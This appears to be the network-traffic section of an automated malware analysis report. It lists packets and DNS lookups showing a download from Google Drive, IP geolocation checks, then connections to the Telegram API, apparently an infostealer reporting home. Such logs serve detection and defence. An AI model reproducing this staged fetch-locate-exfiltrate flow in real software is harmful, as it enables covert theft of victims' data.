Jan 11, 2025 02:23:24.503566980 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.503612995 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512022018 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512089968 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512095928 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512139082 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512145042 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512188911 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512200117 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512239933 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512454987 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512506008 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512540102 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512593985 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512624979 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512675047 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.512702942 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.512753963 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.513082981 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.513138056 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.513166904 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.513222933 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.513259888 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.513312101 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.513341904 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.513391018 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.513425112 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.513473988 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.513503075 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.513552904 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.514054060 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.514110088 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.514410019 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.514461994 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.514493942 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.514547110 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.514580011 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.514631033 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.514658928 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.514708042 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.517255068 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.517317057 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.517338037 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.517389059 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.517432928 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.517484903 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.517522097 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.517573118 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.517606020 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.517656088 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.517684937 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.517735004 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.518873930 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.518939972 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.518955946 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.519005060 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.522243977 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.522303104 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.522329092 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.522382975 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.522412062 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.522458076 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.522492886 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.522541046 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.527168989 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.527220011 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.527256966 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.527308941 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.527360916 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.527411938 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.527448893 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.527499914 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.527592897 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.527642965 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.527674913 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:24.527674913 CET	443	49709	142.250.185.65	192.168.2.8
Jan 11, 2025 02:23:24.527729034 CET	49709	443	192.168.2.8	142.250.185.65
Jan 11, 2025 02:23:25.672523975 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:25.677407980 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:25.677475929 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:25.677685976 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:25.682495117 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:27.253498077 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:27.258690119 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:27.263573885 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:27.448637009 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:27.495044947 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:28.397448063 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:28.397504091 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:28.397578001 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:28.399529934 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:28.399555922 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:28.896014929 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:28.896137953 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:28.899368048 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:28.899404049 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:28.899812937 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:28.948148966 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:29.221537113 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:29.263345003 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:29.337532043 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:29.337619066 CET	443	49712	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:29.337663889 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:29.346600056 CET	49712	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:29.365802050 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:29.371136904 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:30.292810917 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:30.295008898 CET	49713	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:30.295058012 CET	443	49713	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:30.295135975 CET	49713	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:30.295414925 CET	49713	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:30.295425892 CET	443	49713	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:30.338813066 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:30.759727001 CET	443	49713	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:30.807486057 CET	49713	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:30.975141048 CET	49713	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:30.975167036 CET	443	49713	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:31.089613914 CET	443	49713	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:31.089679003 CET	443	49713	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:31.089852095 CET	49713	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:31.090176105 CET	49713	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:31.093301058 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:31.094293118 CET	49714	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:31.098397017 CET	80	49711	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:31.099292040 CET	80	49714	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:31.099364042 CET	49711	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:31.099389076 CET	49714	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:31.099492073 CET	49714	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:31.104347944 CET	80	49714	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:31.759203911 CET	80	49714	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:31.760402918 CET	49715	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:31.760453939 CET	443	49715	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:31.760539055 CET	49715	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:31.760907888 CET	49715	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:31.760920048 CET	443	49715	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:31.807684898 CET	49714	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:32.218132973 CET	443	49715	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:32.221054077 CET	49715	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:32.221074104 CET	443	49715	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:32.371707916 CET	443	49715	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:32.371788979 CET	443	49715	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:32.372064114 CET	49715	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:32.372320890 CET	49715	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:32.377132893 CET	49716	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:32.382091045 CET	80	49716	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:32.382175922 CET	49716	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:32.382270098 CET	49716	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:32.387130976 CET	80	49716	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:33.024183989 CET	80	49716	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:33.025754929 CET	49717	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:33.025795937 CET	443	49717	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:33.025895119 CET	49717	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:33.026151896 CET	49717	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:33.026164055 CET	443	49717	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:33.073194027 CET	49716	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:33.504210949 CET	443	49717	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:33.505918026 CET	49717	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:33.505964994 CET	443	49717	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:33.651725054 CET	443	49717	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:33.651804924 CET	443	49717	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:33.651870966 CET	49717	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:33.652318954 CET	49717	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:33.655807972 CET	49716	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:33.657028913 CET	49718	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:33.660929918 CET	80	49716	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:33.661010981 CET	49716	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:33.661942005 CET	80	49718	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:33.662004948 CET	49718	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:33.662085056 CET	49718	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:33.666961908 CET	80	49718	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:34.289839029 CET	80	49718	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:34.290972948 CET	49719	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:34.291030884 CET	443	49719	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:34.291109085 CET	49719	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:34.291326046 CET	49719	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:34.291341066 CET	443	49719	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:34.338737011 CET	49718	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:34.746692896 CET	443	49719	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:34.748279095 CET	49719	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:34.748308897 CET	443	49719	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:34.895514965 CET	443	49719	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:34.895586967 CET	443	49719	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:34.895632982 CET	49719	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:34.896056890 CET	49719	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:34.899683952 CET	49718	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:34.900742054 CET	49720	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:34.904776096 CET	80	49718	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:34.904836893 CET	49718	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:34.905620098 CET	80	49720	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:34.905693054 CET	49720	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:34.905915022 CET	49720	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:34.910878897 CET	80	49720	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:35.551779985 CET	80	49720	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:35.553236961 CET	49721	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:35.553280115 CET	443	49721	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:35.553359985 CET	49721	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:35.553627968 CET	49721	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:35.553642988 CET	443	49721	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:35.604531050 CET	49720	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:36.006926060 CET	443	49721	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:36.008872986 CET	49721	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:36.008900881 CET	443	49721	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:36.147458076 CET	443	49721	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:36.147511005 CET	443	49721	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:36.147618055 CET	49721	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:36.148165941 CET	49721	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:36.152133942 CET	49720	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:36.153248072 CET	49722	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:36.157125950 CET	80	49720	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:36.157193899 CET	49720	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:36.157998085 CET	80	49722	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:36.158054113 CET	49722	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:36.158174038 CET	49722	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:36.163244963 CET	80	49722	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:36.788809061 CET	80	49722	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:36.790179014 CET	49723	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:36.790226936 CET	443	49723	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:36.790313959 CET	49723	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:36.790559053 CET	49723	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:36.790575981 CET	443	49723	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:36.838776112 CET	49722	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:37.269995928 CET	443	49723	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:37.271974087 CET	49723	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:37.272011995 CET	443	49723	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:37.412712097 CET	443	49723	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:37.412766933 CET	443	49723	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:37.412954092 CET	49723	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:37.413351059 CET	49723	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:37.416712046 CET	49722	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:37.417927980 CET	49724	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:37.421761036 CET	80	49722	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:37.421833992 CET	49722	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:37.422874928 CET	80	49724	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:37.422945023 CET	49724	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:37.423034906 CET	49724	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:37.427845955 CET	80	49724	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:38.057526112 CET	80	49724	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:38.058732033 CET	49725	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:38.058801889 CET	443	49725	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:38.058891058 CET	49725	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:38.059118986 CET	49725	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:38.059137106 CET	443	49725	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:38.104614973 CET	49724	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:38.530812025 CET	443	49725	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:38.533153057 CET	49725	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:38.533199072 CET	443	49725	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:38.662560940 CET	443	49725	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:38.662631035 CET	443	49725	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:38.662714958 CET	49725	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:38.663196087 CET	49725	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:38.665905952 CET	49724	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:38.666973114 CET	49726	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:38.670902967 CET	80	49724	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:38.670965910 CET	49724	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:38.676053047 CET	80	49726	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:38.676117897 CET	49726	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:38.676213980 CET	49726	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:38.683221102 CET	80	49726	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:39.301858902 CET	80	49726	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:39.303340912 CET	49727	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:39.303381920 CET	443	49727	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:39.303478956 CET	49727	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:39.303759098 CET	49727	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:39.303772926 CET	443	49727	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:39.354398966 CET	49726	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:39.756675005 CET	443	49727	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:39.758650064 CET	49727	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:39.758672953 CET	443	49727	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:39.880815029 CET	443	49727	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:39.880889893 CET	443	49727	104.21.16.1	192.168.2.8
Jan 11, 2025 02:23:39.880968094 CET	49727	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:39.881582975 CET	49727	443	192.168.2.8	104.21.16.1
Jan 11, 2025 02:23:39.961329937 CET	49726	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:39.966388941 CET	80	49726	193.122.6.168	192.168.2.8
Jan 11, 2025 02:23:39.966470957 CET	49726	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:39.969434023 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:39.969470024 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:39.969579935 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:39.969918966 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:39.969935894 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:40.580535889 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:40.580852032 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:40.583318949 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:40.583336115 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:40.583585978 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:40.585488081 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:40.627330065 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:40.821561098 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:40.821652889 CET	443	49728	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:40.821774006 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:40.843158960 CET	49728	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:46.528269053 CET	49714	80	192.168.2.8	193.122.6.168
Jan 11, 2025 02:23:46.725219011 CET	49730	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:46.725260019 CET	443	49730	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:46.725342035 CET	49730	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:46.725627899 CET	49730	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:46.725645065 CET	443	49730	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:47.348038912 CET	443	49730	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:47.351011992 CET	49730	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:47.351022005 CET	443	49730	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:47.351147890 CET	49730	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:47.351152897 CET	443	49730	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:47.655890942 CET	443	49730	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:47.656032085 CET	443	49730	149.154.167.220	192.168.2.8
Jan 11, 2025 02:23:47.657270908 CET	49730	443	192.168.2.8	149.154.167.220
Jan 11, 2025 02:23:47.657546043 CET	49730	443	192.168.2.8	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:23:19.803020954 CET	50329	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:23:19.810209990 CET	53	50329	1.1.1.1	192.168.2.8
Jan 11, 2025 02:23:20.877923012 CET	56131	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:23:20.885394096 CET	53	56131	1.1.1.1	192.168.2.8
Jan 11, 2025 02:23:25.657819986 CET	59505	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:23:25.664725065 CET	53	59505	1.1.1.1	192.168.2.8
Jan 11, 2025 02:23:28.385102034 CET	51279	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:23:28.392266035 CET	53	51279	1.1.1.1	192.168.2.8
Jan 11, 2025 02:23:39.962110996 CET	55587	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:23:39.968799114 CET	53	55587	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:23:19.803020954 CET	192.168.2.8	1.1.1.1	0xd5f	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:20.877923012 CET	192.168.2.8	1.1.1.1	0x8372	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:25.657819986 CET	192.168.2.8	1.1.1.1	0xf571	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.385102034 CET	192.168.2.8	1.1.1.1	0x5ddc	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:39.962110996 CET	192.168.2.8	1.1.1.1	0x6a22	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:23:19.810209990 CET	1.1.1.1	192.168.2.8	0xd5f	No error (0)	drive.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:20.885394096 CET	1.1.1.1	192.168.2.8	0x8372	No error (0)	drive.usercontent.google.com		142.250.185.65	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:25.664725065 CET	1.1.1.1	192.168.2.8	0xf571	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:23:25.664725065 CET	1.1.1.1	192.168.2.8	0xf571	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:25.664725065 CET	1.1.1.1	192.168.2.8	0xf571	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:25.664725065 CET	1.1.1.1	192.168.2.8	0xf571	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
